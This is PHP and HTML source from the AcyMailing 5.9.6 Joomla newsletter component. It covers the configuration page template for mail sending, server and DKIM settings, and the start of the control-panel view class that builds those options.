					<span><input type="radio" name="config[mailer_method]" onclick="updateMailer('smtp')" value="smtp" <?php if($mailerMethod == 'smtp') echo 'checked="checked"'; ?> id="mailer_smtp"/><label for="mailer_smtp"> SMTP Server</label></span>
					<span><input type="radio" name="config[mailer_method]" onclick="updateMailer('elasticemail')" value="elasticemail" <?php if($mailerMethod == 'elasticemail') echo 'checked="checked"'; ?> id="mailer_elasticemail"/><label for="mailer_elasticemail"> Elastic Email</label></span>
				</div>
				<?php
			}else{
				$values = array('<div class="acyblockoptions" style="padding:10px;"><span class="acyblocktitle" style="font-size:13px;">'.acymailing_translation('SEND_SERVER').'</span>',
					acymailing_selectOption('phpmail', 'PHP Mail Function'),
					acymailing_selectOption('sendmail', 'SendMail'),
					acymailing_selectOption('qmail', 'QMail'),
					'</div><div class="acyblockoptions" style="padding:10px;"><span class="acyblocktitle" style="font-size:13px;">'.acymailing_translation('SEND_EXTERNAL').'</span>',
					acymailing_selectOption('smtp', 'SMTP Server'),
					acymailing_selectOption('elasticemail', 'Elastic Email'),
					'</div>');
				echo acymailing_radio($values, 'config[mailer_method]', 'onchange="updateMailer(this.value)"', 'value', 'text', $mailerMethod);
			}
			?>
		</div>
		<div style="clear: both;"></div>
		<div id="mailer_method_config">
			<div id="sendmail_config" style="display:none" class="acymailing_deploy">
				<span class="acyblocktitle">SendMail</span>
				<table class="acymailing_table" cellspacing="1">
					<tr>
						<td width="185" class="acykey">
							<?php echo acymailing_tooltip(acymailing_translation('SENDMAIL_PATH_DESC'), acymailing_translation('SENDMAIL_PATH'), '', acymailing_translation('SENDMAIL_PATH')); ?>
						</td>
						<td>
							<input class="inputbox" type="text" name="config[sendmail_path]" style="width:160px" value="<?php echo $this->config->get('sendmail_path', '/usr/sbin/sendmail') ?>"/>
						</td>
					</tr>
				</table>
			</div>
			<div id="smtp_config" style="display:none" class="acymailing_deploy">
				<span class="acyblocktitle"><?php echo acymailing_translation('SMTP_CONFIG'); ?></span>
				<table class="acymailing_table" cellspacing="1">
					<tr>
						<td width="185" class="acykey">
							<?php echo acymailing_tooltip(acymailing_translation('SMTP_SERVER_DESC'), acymailing_translation('SMTP_SERVER'), '', acymailing_translation('SMTP_SERVER')); ?>
						</td>
						<td>
							<input class="inputbox" type="text" name="config[smtp_host]" style="width:160px" value="<?php echo $this->escape($this->config->get('smtp_host')); ?>"/>
						</td>
					</tr>
					<tr>
						<td class="acykey">
							<?php echo acymailing_tooltip(acymailing_translation('SMTP_PORT_DESC'), acymailing_translation('SMTP_PORT'), '', acymailing_translation('SMTP_PORT')); ?>
						</td>
						<td>
							<input class="inputbox" type="text" name="config[smtp_port]" style="width:50px" value="<?php echo $this->escape($this->config->get('smtp_port')); ?>"/>
						</td>
					</tr>
					<tr>
						<td class="acykey">
							<?php echo acymailing_tooltip(acymailing_translation('SMTP_SECURE_DESC'), acymailing_translation('SMTP_SECURE'), '', acymailing_translation('SMTP_SECURE')); ?>
						</td>
						<td>
							<?php echo $this->elements->smtp_secured; ?>
						</td>
					</tr>
					<tr>
						<td class="acykey">
							<?php echo acymailing_tooltip(acymailing_translation('SMTP_ALIVE_DESC'), acymailing_translation('SMTP_ALIVE'), '', acymailing_translation('SMTP_ALIVE')); ?>
						</td>
						<td>
							<?php echo $this->elements->smtp_keepalive; ?>
						</td>
					</tr>
					<tr>
						<td class="acykey">
							<?php echo acymailing_tooltip(acymailing_translation('SMTP_AUTHENT_DESC'), acymailing_translation('SMTP_AUTHENT'), '', acymailing_translation('SMTP_AUTHENT')); ?>
						</td>
						<td>
							<?php echo $this->elements->smtp_auth; ?>
						</td>
					</tr>
					<tr>
						<td class="acykey">
							<?php echo acymailing_tooltip(acymailing_translation('USERNAME_DESC'), acymailing_translation('ACY_USERNAME'), '', acymailing_translation('ACY_USERNAME')); ?>
						</td>
						<td>
							<input class="inputbox" autocomplete="off" type="text" name="config[smtp_username]" style="width:200px" value="<?php echo $this->escape(acymailing_punycode($this->config->get('smtp_username'), 'emailToUTF8')); ?>"/>
						</td>
					</tr>
					<tr>
						<td class="acykey">
							<?php echo acymailing_tooltip(acymailing_translation('SMTP_PASSWORD_DESC'), acymailing_translation('SMTP_PASSWORD'), '', acymailing_translation('SMTP_PASSWORD')); ?>
						</td>
						<td>
							<input class="inputbox" autocomplete="off" type="text" name="config[smtp_password]" style="width:200px" value="<?php echo str_repeat('*', strlen($this->config->get('smtp_password'))); ?>"/>
						</td>
					</tr>
				</table>
				<?php echo $this->toggleClass->toggleText('guessport', '', 'config', acymailing_translation('ACY_GUESSPORT')); ?>
			</div>
			<div id="elasticemail_config" style="display:none" class="acymailing_deploy">
				<span class="acyblocktitle">Elastic Email</span>
				<?php echo acymailing_translation_sprintf('SMTP_DESC', 'Elastic Email'); ?>

				<table class="acymailing_table" cellspacing="1">
					<tr>
						<td width="185" class="acykey">
							<?php echo acymailing_translation('ACY_USERNAME'); ?>
						</td>
						<td>
							<input class="inputbox" autocomplete="off" type="text" name="config[elasticemail_username]" style="width:160px" value="<?php echo $this->config->get('elasticemail_username', '') ?>"/>
						</td>
					</tr>
					<tr>
						<td width="185" class="acykey">
							API Key
						</td>
						<td>
							<input class="inputbox" autocomplete="off" type="text" name="config[elasticemail_password]" style="width:160px" value="<?php echo str_repeat('*', strlen($this->config->get('elasticemail_password'))); ?>"/>
						</td>
					</tr>
					<tr>
						<td width="185" class="acykey">
							<?php echo acymailing_translation('SMTP_PORT'); ?>
						</td>
						<td>
							<?php
							$elasticPort = array();
							$elasticPort[] = acymailing_selectOption('25', 25);
							$elasticPort[] = acymailing_selectOption('2525', 2525);
							$elasticPort[] = acymailing_selectOption('rest', 'REST API');
							echo acymailing_radio($elasticPort, 'config[elasticemail_port]', 'size="1" ', 'value', 'text', $this->config->get('elasticemail_port', 'rest'));
							?>
						</td>
					</tr>
				</table>
				<?php echo acymailing_translation('NO_ACCOUNT_YET').' <a href="'.ACYMAILING_REDIRECT.'elasticemail" target="_blank" >'.acymailing_translation('CREATE_ACCOUNT').'</a>'; ?>
				<?php echo '<br /><a href="'.ACYMAILING_REDIRECT.'smtp_services" target="_blank">'.acymailing_translation('TELL_ME_MORE').'</a>'; ?>
			</div>
		</div>
	</div>
	<div class="onelineblockoptions">
		<span class="acyblocktitle"><?php echo acymailing_translation('ACY_SERVER_CONFIGURATION'); ?></span>
		<table width="100%">
			<tr>
				<td width="50%" valign="top">
					<table class="acymailing_table" cellspacing="1">
						<?php if(!empty($this->elements->special_chars)){ ?>
						<tr>
							<td class="acykey">
								<?php echo acymailing_tooltip(acymailing_translation('ACY_SPECIAL_CHARS_DESC'), acymailing_translation('ACY_SPECIAL_CHARS'), '', acymailing_translation('ACY_SPECIAL_CHARS')); ?>
							</td>
							<td>
								<?php echo $this->elements->special_chars; ?>
							</td>
						</tr>
						<?php } ?>
						<tr>
							<td class="acykey">
								<?php echo acymailing_tooltip(acymailing_translation('ENCODING_FORMAT_DESC'), acymailing_translation('ENCODING_FORMAT'), '', acymailing_translation('ENCODING_FORMAT')); ?>
							</td>
							<td>
								<?php echo $this->elements->encoding_format; ?>
							</td>
						</tr>
						<tr>
							<td class="acykey">
								<?php echo acymailing_tooltip(acymailing_translation('CHARSET_DESC'), acymailing_translation('CHARSET'), '', acymailing_translation('CHARSET')); ?>
							</td>
							<td>
								<?php echo $this->elements->charset; ?>
							</td>
						</tr>
						<tr>
							<td class="acykey">
								<?php echo acymailing_tooltip(acymailing_translation('WORD_WRAPPING_DESC'), acymailing_translation('WORD_WRAPPING'), '', acymailing_translation('WORD_WRAPPING')); ?>
							</td>
							<td>
								<input class="inputbox" type="text" name="config[word_wrapping]" style="width:50px" value="<?php echo $this->config->get('word_wrapping', 0) ?>">
							</td>
						</tr>
						<tr>
							<td class="acykey">
								<?php echo acymailing_tooltip(acymailing_translation('ACY_SSLCHOICE_DESC'), acymailing_translation('ACY_SSLCHOICE'), '', acymailing_translation('ACY_SSLCHOICE')); ?>
							</td>
							<td>
								<?php echo $this->elements->ssl_links; ?>
							</td>
						</tr>
						<tr>
							<td class="acykey">
								<?php echo acymailing_tooltip(acymailing_translation('EMBED_IMAGES_DESC'), acymailing_translation('EMBED_IMAGES'), '', acymailing_translation('EMBED_IMAGES')); ?>
							</td>
							<td>
								<?php echo $this->elements->embed_images; ?>
							</td>
						</tr>
						<tr>
							<td class="acykey">
								<?php echo acymailing_tooltip(acymailing_translation('EMBED_ATTACHMENTS_DESC'), acymailing_translation('EMBED_ATTACHMENTS'), '', acymailing_translation('EMBED_ATTACHMENTS')); ?>
							</td>
							<td>
								<?php echo $this->elements->embed_files; ?>
							</td>
						</tr>
						<tr>
							<td class="acykey">
								<?php echo acymailing_tooltip(acymailing_translation('MULTIPLE_PART_DESC'), acymailing_translation('MULTIPLE_PART'), '', acymailing_translation('MULTIPLE_PART')); ?>
							</td>
							<td>
								<?php echo $this->elements->multiple_part; ?>
							</td>
						</tr>
						<tr>
							<td class="acykey">
								<?php echo acymailing_tooltip(acymailing_translation('ACY_DKIM_DESC'), acymailing_translation('ACY_DKIM'), '', acymailing_translation('ACY_DKIM')); ?>
							</td>
							<td>
								<?php echo $this->elements->dkim; ?>
							</td>
						</tr>
					</table>
				</td>
			</tr>
			<tr>
				<td valign="top">

					<?php
					if(acymailing_level(1)){
						?>
						<div class="acyblockoptions acymailing_deploy" id="dkim_config" <?php echo ($this->config->get('dkim', 0) == 1) ? 'style="display:block"' : 'style="display:none"' ?> >
							<span class="acyblocktitle"><?php echo acymailing_translation('ACY_DKIM'); ?></span>
							<?php
							$domain = $this->config->get('dkim_domain', '');
							if(empty($domain)){
								$domain = preg_replace(array('#^https?://(www\.)*#i', '#^www\.#'), '', ACYMAILING_LIVE);
								$domain = substr($domain, 0, strpos($domain, '/'));
							}

							if(($this->config->get('dkim_selector', 'acy') != 'acy' && $this->config->get('dkim_selector', 'acy') != '') || $this->config->get('dkim_passphrase', '') != '' || acymailing_getVar('int', 'dkimletme')){
								?>
								<table class="acymailing_table" cellspacing="1">
									<tr>
										<td width="185" class="acykey">
											<?php echo acymailing_translation('DKIM_DOMAIN'); ?>
										</td>
										<td>
											<input class="inputbox" type="text" id="dkim_domain" name="config[dkim_domain]" style="width:160px" value="<?php echo $this->escape($domain); ?>"/> *
										</td>
									</tr>
									<tr>
										<td width="185" class="acykey">
											<?php echo acymailing_translation('DKIM_SELECTOR'); ?>
										</td>
										<td>
											<input class="inputbox" type="text" id="dkim_selector" name="config[dkim_selector]" style="width:160px" value="<?php echo $this->escape($this->config->get('dkim_selector', 'acy')); ?>"/> *
										</td>
									</tr>
									<tr>
										<td width="185" class="acykey">
											<?php echo acymailing_translation('DKIM_PRIVATE'); ?>
										</td>
										<td>
											<textarea cols="65" rows="16" id="dkim_private" style="width:460px;font-size:10px;" name="config[dkim_private]"><?php echo $this->config->get('dkim_private', ''); ?></textarea> *
										</td>
									</tr>
									<tr>
										<td width="185" class="acykey">
											<?php echo acymailing_translation('DKIM_PASSPHRASE'); ?>
										</td>
										<td>
											<input class="inputbox" type="text" id="dkim_passphrase" name="config[dkim_passphrase]" style="width:160px" value="<?php echo $this->escape($this->config->get('dkim_passphrase', '')); ?>"/>
										</td>
									</tr>
									<tr>
										<td width="185" class="acykey">
											<?php echo acymailing_translation('DKIM_IDENTITY'); ?>
										</td>
										<td>
											<input class="inputbox" type="text" id="dkim_identity" name="config[dkim_identity]" style="width:160px" value="<?php echo $this->escape($this->config->get('dkim_identity', '')); ?>"/>
										</td>
									</tr>
									<tr>
										<td width="185" class="acykey">
											<?php echo acymailing_translation('DKIM_PUBLIC'); ?>
										</td>
										<td>
											<textarea cols="65" rows="5" id="dkim_public" style="width:460px;font-size:10px;" name="config[dkim_public]"><?php echo $this->config->get('dkim_public', ''); ?></textarea>
										</td>
									</tr>
								</table>
							<?php }else{
								if($this->config->get('dkim_private', '') == '' || $this->config->get('dkim_public', '') == ''){
									echo 'Please save your AcyMailing configuration page first';
									acymailing_addScript(false, 'https://www.acyba.com/index.php?option=com_updateme&ctrl=generatedkim');
									?>
									<input type="hidden" id="dkim_private" name="config[dkim_private]"/>
									<input type="hidden" id="dkim_public" name="config[dkim_public]"/>

									<?php
								}else{
									$publicKey = trim(str_replace(array('acy._domainkey	IN	TXT	"', 'v=DKIM1;k=rsa;g=*;s=email;h=sha1;t=s;p=', '-----BEGIN PUBLIC KEY-----', '-----END PUBLIC KEY-----', "\n"), '', $this->config->get('dkim_public', '')), '"');

									echo acymailing_translation_sprintf('DKIM_CONFIGURE', '<input class="inputbox" type="text" id="dkim_domain" name="config[dkim_domain]" style="width:120px;" value="'.$this->escape($domain).'" />'); ?><br/>
									<?php echo acymailing_translation('DKIM_KEY') ?> <input type="text" readonly="readonly" onclick="select();" style="width:80px;font-size:10px;" value="acy._domainkey"/>
									<br/><?php echo acymailing_translation('DKIM_VALUE') ?> <input type="text" readonly="readonly" onclick="select();" style="width:220px;font-size:10px;" value="v=DKIM1;s=email;t=s;p=<?php echo $this->escape($publicKey); ?>"/>
									<br/><input type="checkbox" value="1" id="dkimletme" name="dkimletme"/> <label for="dkimletme"><?php echo acymailing_translation('DKIM_LET_ME'); ?></label>
									<?php
								}
								echo '<br />';
							} ?>
							<span class="acymailing_button_grey">
								<i class="acyicon-help"></i>
								<a style="color:#666;text-decoration: none;" href="https://www.acyba.com/acymailing/156-acymailing-dkim.html" target="_blank"><?php echo acymailing_translation('ACY_HELP'); ?></a>
							</span>
						</div>
						<?php
					}
					?>
				</td>
			</tr>
		</table>
	</div>
</div>
com_acymailing/views/cpanel/index.html000060400000000054152455305300014110 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/cpanel/view.html.php000060400000074551152455305300014556 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class CpanelViewCpanel extends acymailingView{
	
	function display($tpl = null){
		$toggleClass = acymailing_get('helper.toggle');
		$config = acymailing_config();

		$language = acymailing_getLanguageTag();

		$styleRemind = 'float:right;margin-right:30px;position:relative;';
		$loadLink = acymailing_popup(acymailing_completeLink('file', true).'&amp;task=latest&amp;code='.$language, acymailing_translation('LOAD_LATEST_LANGUAGE'), '', 800, 500, '', ' onclick="window.document.getElementById(\'acymailing_messages_warning\').style.display = \'none\';return true;" ');
		if(!file_exists(acymailing_getLanguagePath(ACYMAILING_ROOT, $language).DS.$language.'.com_acymailing.ini')){
			if($config->get('errorlanguagemissing', 1)){
				$notremind = '<small style="'.$styleRemind.'">'.$toggleClass->delete('acymailing_messages_warning', 'errorlanguagemissing_0', 'config', false, acymailing_translation('DONT_REMIND')).'</small>';
				acymailing_enqueueMessage(acymailing_translation('MISSING_LANGUAGE').' '.$loadLink.' '.$notremind, 'warning');
			}
		}elseif(version_compare(acymailing_translation('ACY_LANG_VERSION'), $config->get('version'), '<')){
			if($config->get('errorlanguageupdate', 1)){
				$notremind = '<small style="'.$styleRemind.'">'.$toggleClass->delete('acymailing_messages_warning', 'errorlanguageupdate_0', 'config', false, acymailing_translation('DONT_REMIND')).'</small>';
				acymailing_enqueueMessage(acymailing_translation('UPDATE_LANGUAGE').' '.$loadLink.' '.$notremind, 'warning');
			}
		}

		if($config->get('wronghttpsoption', 1) && $config->get('ssl_links', 1) == 0){
			if((!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || $_SERVER['SERVER_PORT'] == 443) {
				$notremind = '<small style="'.$styleRemind.'">'.$toggleClass->delete('acymailing_messages_error', 'wronghttpsoption_0', 'config', false, acymailing_translation('DONT_REMIND')).'</small>';
				acymailing_enqueueMessage('If your site uses HTTPS on front-end, please make sure to turn On the "'.acymailing_translation('ACY_SSLCHOICE').'" option otherwise the links in your newsletters may not work properly (the unsubscribe link for instance).'.$notremind, 'error');
			}
		}

		$indexes = array('listsub', 'stats', 'list', 'mail', 'userstats', 'urlclick', 'history', 'template', 'queue', 'subscriber');
		$addIndexes = array('We recently optimized our database...');
		foreach($indexes as $oneTable){
			if($config->get('optimize_'.$oneTable, 1)) continue;
			$addIndexes[] = 'Please '.$toggleClass->toggleText('addindex', $oneTable, 'config', 'click here').' to add indexes on the '.$oneTable.' table';
		}
		if(count($addIndexes) > 1) acymailing_enqueueMessage($addIndexes, 'warning');



		$acyToolbar = acymailing_get('helper.toolbar');
		$acyToolbar->custom('test', acymailing_translation('SEND_TEST'), 'send', false);
		$acyToolbar->divider();
		$acyToolbar->addButtonOption('apply', acymailing_translation('ACY_APPLY'), 'apply', false);
		$acyToolbar->save();
		$acyToolbar->cancel();
		$acyToolbar->divider();
		$acyToolbar->help('config');
		$acyToolbar->setTitle(acymailing_translation('ACY_CONFIGURATION'), 'cpanel');
		$acyToolbar->display();

		$elements = new stdClass();
		$elements->add_names = acymailing_boolean("config[add_names]", '', $config->get('add_names', true));
		$elements->embed_images = acymailing_boolean("config[embed_images]", '', $config->get('embed_images', 0));
		$elements->embed_files = acymailing_boolean("config[embed_files]", '', $config->get('embed_files', 1));
		$elements->multiple_part = acymailing_boolean("config[multiple_part]", '', $config->get('multiple_part', 0));

		$mailerMethods = array('elasticemail', 'smtp', 'sendmail');
		$js = "function updateMailer(mailermethod){"."\n";
		foreach($mailerMethods as $oneMethod){
			$js .= " window.document.getElementById('".$oneMethod."_config').style.display = 'none'; "."\n";
		}
		$js .= "if(window.document.getElementById(mailermethod+'_config')) {window.document.getElementById(mailermethod+'_config').style.display = 'block';} }";
		$js .= 'document.addEventListener("DOMContentLoaded", function(){ updateMailer(\''.$config->get('mailer_method', 'phpmail').'\'); });';
		acymailing_addScript(true, $js);

		$encodingval = array();
		$encodingval[] = acymailing_selectOption('binary', 'Binary');
		$encodingval[] = acymailing_selectOption('quoted-printable', 'Quoted-printable');
		$encodingval[] = acymailing_selectOption('7bit', '7 Bit');
		$encodingval[] = acymailing_selectOption('8bit', '8 Bit');
		$encodingval[] = acymailing_selectOption('base64', 'Base 64');
		$elements->encoding_format = acymailing_select($encodingval, "config[encoding_format]", 'size="1" style="width:150px;"', 'value', 'text', $config->get('encoding_format', 'base64'));

		$charset = acymailing_get('type.charset');
		$elements->charset = $charset->display("config[charset]", $config->get('charset', 'UTF-8'));

		$securedVals = array();
		$securedVals[] = acymailing_selectOption('', '- - -');
		$securedVals[] = acymailing_selectOption('ssl', 'SSL');
		$securedVals[] = acymailing_selectOption('tls', 'TLS');
		$elements->smtp_secured = acymailing_select($securedVals, "config[smtp_secured]", 'size="1" style="width:100px;"', 'value', 'text', $config->get('smtp_secured'));

		$elements->smtp_auth = acymailing_boolean("config[smtp_auth]", '', $config->get('smtp_auth', 0));
		$elements->smtp_keepalive = acymailing_boolean("config[smtp_keepalive]", '', $config->get('smtp_keepalive', 1));

		$elements->allow_visitor = acymailing_boolean("config[allow_visitor]", '', $config->get('allow_visitor', 1));

		$elements->subscription_message = acymailing_boolean("config[subscription_message]", '', $config->get('subscription_message', 1));
		$elements->confirmation_message = acymailing_boolean("config[confirmation_message]", '', $config->get('confirmation_message', 1));
		$elements->unsubscription_message = acymailing_boolean("config[unsubscription_message]", '', $config->get('unsubscription_message', 1));
		$elements->welcome_message = acymailing_boolean("config[welcome_message]", '', $config->get('welcome_message', 1));
		$elements->unsub_message = acymailing_boolean("config[unsub_message]", '', $config->get('unsub_message', 1));
		$elements->confirm_message = acymailing_boolean("config[confirm_message]", '', $config->get('confirm_message', 0));

		if(acymailing_level(1)){
			$js = "function updateDKIM(dkimval){
						if(dkimval == 1){document.getElementById('dkim_config').style.display = 'block';}
						else{document.getElementById('dkim_config').style.display = 'none';}
						};";
			acymailing_addScript(true, $js);
			if(function_exists('openssl_sign')){
				$elements->dkim = acymailing_boolean("config[dkim]", 'onclick="updateDKIM(this.value)"', $config->get('dkim', 0));
			}else{
				$elements->dkim = '<input type="hidden" name="config[dkim]" value="0" />PHP Extension openssl not enabled';
			}

			$js = "function updateQueueProcess(newvalue){";
			$js .= "if(newvalue == 'onlyauto') {window.document.getElementById('method_auto').style.display = ''; window.document.getElementById('method_manual').style.display = 'none';}";
			$js .= "if(newvalue == 'auto') {window.document.getElementById('method_auto').style.display = ''; window.document.getElementById('method_manual').style.display = '';}";
			$js .= "if(newvalue == 'manual') {window.document.getElementById('method_auto').style.display = 'none'; window.document.getElementById('method_manual').style.display = '';}";
			$js .= '};';

			acymailing_addScript(true, $js);

			$queueType = array();
			$queueType[] = acymailing_selectOption('onlyauto', acymailing_translation('AUTO_ONLY'));
			$queueType[] = acymailing_selectOption('auto', acymailing_translation('AUTO_MAN'));
			$queueType[] = acymailing_selectOption('manual', acymailing_translation('MANUAL_ONLY'));
			$elements->queue_type = acymailing_radio($queueType, "config[queue_type]", 'onclick="updateQueueProcess(this.value);"', 'value', 'text', $config->get('queue_type', 'auto'));
		}else{
			$elements->dkim = acymailing_getUpgradeLink('essential');
		}

		$js = 'var selectedHTTPS = '.($config->get('ssl_links', 0) == 0 ? 'false;' : 'true;').'
		function confirmHTTPS(element){
			var clickedHTTPS = (element == 1);
			if(clickedHTTPS == selectedHTTPS) return true;
			if(clickedHTTPS){
				var cnfrm = confirm(\''.str_replace("'", "\'", acymailing_translation('ACY_SSLCHOICE_CONFIRMATION')).'\');
				if(!cnfrm){';
		if(ACYMAILING_J30){
			$js .= 'var labels = document.getElementById(\'config_ssl_linksfieldset\').getElementsByTagName(\'label\');
					if(labels[0].hasClass(\'btn-success\')){
						labels[1].click();
						return true;
					}else{
						labels[0].click();
						return true;
					}';
		}else{
			$js .= 'return false;';
		}
		$js .= '}
			}
			selectedHTTPS = clickedHTTPS;
			return true;
		}';
		acymailing_addScript(true, $js);
		$elements->ssl_links = acymailing_boolean("config[ssl_links]", 'onclick="return confirmHTTPS(this.value);"', $config->get('ssl_links', 0));

		$delayTypeManual = acymailing_get('type.delay');
		$elements->queue_pause = $delayTypeManual->display('config[queue_pause]', $config->get('queue_pause'), 0);
		$delayTypeAuto = acymailing_get('type.delay');
		$delayTypeAuto->onChange = "window.document.getElementById('autoFrequencyWarning').style.display='inline';";
		$onChangeMsg = '<span style="display:none;color:red;" id="autoFrequencyWarning">'.acymailing_translation('ACY_CRON_CHANGE_FREQUENCY_WARNING').'</span>';
		$elements->cron_frequency = $delayTypeAuto->display('config[cron_frequency]', $config->get('cron_frequency'), 2).$onChangeMsg;

		$js = "function detectTimeout(id){
				try{
					window.document.getElementById(id).className = 'onload';
					window.document.getElementById(id).innerHTML = '".str_replace("'", "\'", acymailing_translation('ACY_CLOSE_TIMEOUT'))."';

					var xhr = new XMLHttpRequest();
					xhr.open('GET', '".acymailing_prepareAjaxURL('stats')."&task=detecttimeout&seckey=".$config->get('security_key')."');
					xhr.onload = function(){
						document.getElementById(id).innerHTML = 'Done!';
						window.document.getElementById(id).className = 'loading';
					}
					xhr.send();
				}catch(err){
					alert('Could not load the max execution time value : '+err);
				}
				return;
		}";
		$maxexecutiontime = $config->get('max_execution_time');
		if(empty($maxexecutiontime) && (intval($config->get('last_maxexec_check')) < (time() - 60))){
			$js .= 'window.addEventListener("load", function() {detectTimeout(\'timeoutcheck\')});';
		}
		acymailing_addScript(true, $js);

		$script = '';

		$cssval = array('css_frontend' => 'component', 'css_module' => 'module', 'css_backend' => 'backend');
		foreach($cssval as $configval => $type){
			$myvals = array();
			$myvals[] = acymailing_selectOption('', acymailing_translation('ACY_NONE'));

			if($configval == 'css_backend'){
				$myvals[] = acymailing_selectOption('backend_custom', acymailing_translation('ACY_CUSTOM'));
				$editFileName = $config->get('css_backend', 'default');
			}else{
				$regex = '^'.$type.'_([-_a-z0-9]*)\.css$';
				$allCSSFiles = acymailing_getFiles(ACYMAILING_MEDIA.'css', $regex);

				$family = '';
				foreach($allCSSFiles as $oneFile){
					preg_match('#'.$regex.'#i', $oneFile, $results);
					$fileName = str_replace('default_', '', $results[1]);
					$fileNameArray = explode('_', $fileName);
					if(count($fileNameArray) == 2){
						if($fileNameArray[0] != $family){
							if(!empty($family)) $myvals[] = acymailing_selectOption('</OPTGROUP>');
							$family = $fileNameArray[0];
							$myvals[] = acymailing_selectOption('<OPTGROUP>', ucfirst($family));
						}
						unset($fileNameArray[0]);
						$fileName = implode('_', $fileNameArray);
					}

					$fileName = ucwords(str_replace('_', ' ', $fileName));
					$myvals[] = acymailing_selectOption($results[1], $fileName);
				}
				if(!empty($family)) $myvals[] = acymailing_selectOption('</OPTGROUP>');
				$editFileName = $type.'_'.$config->get($configval, 'default');
			}

			$currentVal = $config->get($configval, 'default');
			$aStyle = empty($currentVal) ? ' style="display:none" ' : '';
			$js = 'onchange="updateCSSLink(\''.$configval.'\',\''.$type.'\',this.value);"';

			$elements->$configval = acymailing_select($myvals, 'config['.$configval.']', 'class="inputbox" size="1" '.$js, 'value', 'text', $config->get($configval, 'default'), $configval.'_choice');
			$linkEdit = acymailing_completeLink("file", true)."&amp;task=css&amp;var=".$configval."&amp;file='+".$configval."+'";
			$elements->$configval .= ' '.acymailing_popup($linkEdit, '<i class="acyicon-edit" style="margin: 5px 5px 0px 5px; display: inline-block;"></i>', '', 800, 500, $configval.'_link', $aStyle);

			$script .= ' var '.$configval.' = "'.$editFileName.'"; ';
		}

		$script .= "
		function updateCSSLink(myid,type,newval){
			if(newval){
				document.getElementById(myid+'_link').style.display = '';
			}else{
				document.getElementById(myid+'_link').style.display = 'none';
			}
			
			if(myid == 'css_backend') filename = newval;
			else filename = type+'_'+newval;
			
			document.getElementById(myid+'_link').href = '".acymailing_completeLink('file&task=css', true)."&var='+myid+'&file='+filename;
			window[myid] = filename;
		}";
		acymailing_addScript(true, $script);

		$elements->colortype = acymailing_get('type.color');

		$link = 'index.php?option=com_acymailing&amp;tmpl=component&amp;ctrl=email&amp;task=edit&amp;mailid=send-in-article';
		$elements->edit_send_in_article = acymailing_popup($link, '<button class="acymailing_button_grey" onclick="return false">'.acymailing_translation('ACY_EDIT_ARTICLE_EMAIL').'</button>', '', 900, 700);

		if(acymailing_level(1)){
			$trackingMode = $config->get('trackingsystem', 'acymailing');
			$tracking_system = '<input type="checkbox" name="config[trackingsystem][]" id="trackingsystem[0]" value="acymailing" style="margin-left:10px" '.(stripos($trackingMode, 'acymailing') !== false ? 'checked="checked"' : '').'/> <label for="trackingsystem[0]">Acymailing</label>';
			$tracking_system .= '<input type="checkbox" name="config[trackingsystem][]" id="trackingsystem[1]" value="google" style="margin-left:10px;" '.(stripos($trackingMode, 'google') !== false ? 'checked="checked"' : '').'/> <label for="trackingsystem[1]">Google Analytics</label>';
			$tracking_system .= '<input type="hidden" name="config[trackingsystem][]" value="1"/>';
			$tracking_system_external_website = acymailing_boolean("config[trackingsystemexternalwebsite]", ' id="trackingsystemexternalwebsite"', $config->get('trackingsystemexternalwebsite', 1));
		}else{
			$tracking_system = acymailing_getUpgradeLink('essential');
			$tracking_system_external_website = acymailing_getUpgradeLink('essential');
		}
		$elements->tracking_system = $tracking_system;
		$elements->tracking_system_external_website = $tracking_system_external_website;

		if(acymailing_level(3)){
			$geolocAvailable = true;
			$geolocation = '<input type="hidden" name="config[geolocation]" value="0"/>';
			$geoloc_api_key = '';
			$google_map_api_key = '';
			if(!function_exists('curl_init')){
				$geolocAvailable = false;
				$geolocation .= 'The AcyMailing geolocation plugin needs the CURL library installed but it seems that it is not available on your server. Please contact your web hosting to set it up.';
			}
			if(!function_exists('json_decode')){
				if(!$geolocAvailable) $geolocation .= '<br />';
				$geolocAvailable = false;
				$geolocation .= 'The AcyMailing geolocation plugin can only work with PHP 5.2 at least. Please ask your web hosting to update your PHP version.';
			}

			if($geolocAvailable){
				$geoloc = $config->get('geolocation', '');
				$geolocation = '<span style="white-space:nowrap"><input type="checkbox" name="config[geolocation][]" id="geolocation_0" value="creation" style="margin-left:10px" '.(stripos($geoloc, 'creation') !== false ? 'checked="checked"' : '').'/> <label for="geolocation_0">'.acymailing_translation('ON_USER_CREATE').'</label></span>';
				$geolocation .= ' <span style="white-space:nowrap"><input type="checkbox" name="config[geolocation][]" id="geolocation_1" value="modify" style="margin-left:10px;" '.(stripos($geoloc, 'modify') !== false ? 'checked="checked"' : '').'/> <label for="geolocation_1">'.acymailing_translation('ON_USER_CHANGE').'</label></span>';
				$geolocation .= ' <span style="white-space:nowrap"><input type="checkbox" name="config[geolocation][]" id="geolocation_2" value="confirm" style="margin-left:10px;" '.(stripos($geoloc, 'confirm') !== false ? 'checked="checked"' : '').'/> <label for="geolocation_2">'.acymailing_translation('GEOLOC_CONFIRM_SUB').'</label></span>';
				$geolocation .= ' <span style="white-space:nowrap"><input type="checkbox" name="config[geolocation][]" id="geolocation_3" value="clic" style="margin-left:10px;" '.(stripos($geoloc, 'clic') !== false ? 'checked="checked"' : '').'/> <label for="geolocation_3">'.acymailing_translation('ON_USER_CLICK').'</label></span>';
				$geolocation .= ' <span style="white-space:nowrap"><input type="checkbox" name="config[geolocation][]" id="geolocation_4" value="open" style="margin-left:10px;" '.(stripos($geoloc, 'open') !== false ? 'checked="checked"' : '').'/> <label for="geolocation_4">'.acymailing_translation('ON_OPEN_NEWS').'</label></span>';
				$geolocation .= ' <span style="white-space:nowrap"><input type="checkbox" name="config[geolocation][]" id="geolocation_5" value="unsubscription" style="margin-left:10px;" '.(stripos($geoloc, 'unsubscription') !== false ? 'checked="checked"' : '').'/> <label for="geolocation_5">'.acymailing_translation('GEOLOC_UNSUB').'</label></span>';
				$geolocation .= '<input type="hidden" name="config[geolocation][]" value="1"/>';
